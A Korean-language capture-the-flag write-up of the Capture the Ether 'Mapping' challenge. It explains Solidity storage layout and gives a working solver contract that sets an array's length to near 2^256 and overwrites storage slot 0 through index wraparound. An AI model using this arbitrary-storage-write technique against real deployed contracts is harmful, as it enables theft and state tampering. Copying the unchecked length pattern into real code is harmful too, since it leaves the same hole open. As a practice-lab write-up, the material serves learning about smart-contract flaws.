Capture the ether-Mapping
pragma solidity ^0.4.21;
contract MappingChallenge {
bool public isComplete;
uint256[] map;
function set(uint256 key, uint256 value) public {
// Expand dynamic array as needed
if (map.length <= key) {
map.length = key + 1;
}
map[key] = value;
}
function get(uint256 key) public view returns (uint256) {
return map[key];
}
}풀이
function set(uint256 key, uint256 value) public {
// Expand dynamic array as needed
if (map.length <= key) {
map.length = key + 1;
}
map[key] = value;
}set 에서 배열의 length를 map.length = key + 1; 와 같이 임의로 지정할 수 있다. 또한 배열의 값을 map[key] = value 와 같이 임의로 지정할 수 있다.
일반적으로 배열은 push를 이용하여 하나씩 채워넣는다. 현실적으로 가스비의 한계가 있기에 마음껏 값을 채울 수 없다.
하지만 여기에서는 length를 임의로 변경하기에, 배열의 범위를 메모리 전체로 늘릴 수 있다.
solidity에서 storage는 다음과 같이 주소가 지정된다.
- 일반적인 자료형(boolean, uint256 등)은 slot 0부터 시작하여 선언 순서대로 매핑된다. 각 슬롯은 32바이트이다.
- array의 경우 상단 슬롯(slot 0부터 시작하는)에는 해당 array의 길이가 저장된다.
- 실제 값은
keccak256(길이가 저장된 슬롯 번호) + index번 슬롯에 저장된다. - 당연히 collision이 발생할 수 있다. 메모리가 2^256 크기이므로 그 확률이 매우 낮다고 보는 것 같다.
- 실제 값은
여기서는 array의 length를 임의로 늘릴 수 있다. 메모리의 length를 늘리면 array[index] 형식으로 메모리 전체에 접근이 가능하다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
interface MappingChallenge {
function set(uint256 key, uint256 value) external;
function isComplete() external view returns (bool);
}
contract MappingSolver {
address payable public owner;
MappingChallenge public problem;
constructor (address _problem) {
owner = payable(msg.sender);
problem = MappingChallenge(payable(_problem));
}
function solve() public {
problem.set(0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe, 1);
uint256 index = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff - uint256(keccak256(abi.encodePacked(uint256(1)))) + 1;
problem.set(index, 1);
require(problem.isComplete(), "fail");
}
}다음은 공격 코드이다. 첫 번째 set으로 array의 length를 최대로 늘려준다.
uint256[] map; 이 두 번째 storage 변수이기 때문에 그 길이는 1번 슬롯에 저장되어 있다. 따라서 array[index]의 값은 uint256(keccak256(abi.encodePacked(uint256(1)))) + index 번째 슬롯에 위치한다.
두 번째 set에서, index는 array base 주소(uint256(keccak256(abi.encodePacked(uint256(1))))) 와 더했을 때 0이 나오는 값으로 지정한다. 이렇게 하면 0번 슬롯을 참조하게 된다. 0번 슬롯에는 첫 번째로 선언한 isComplete 변수가 저장되어 있다. 이 값을 1로 덮어씌우면 true로 판정된다.
tags: writeup, blockchain, solidity, smart contract, memory corruption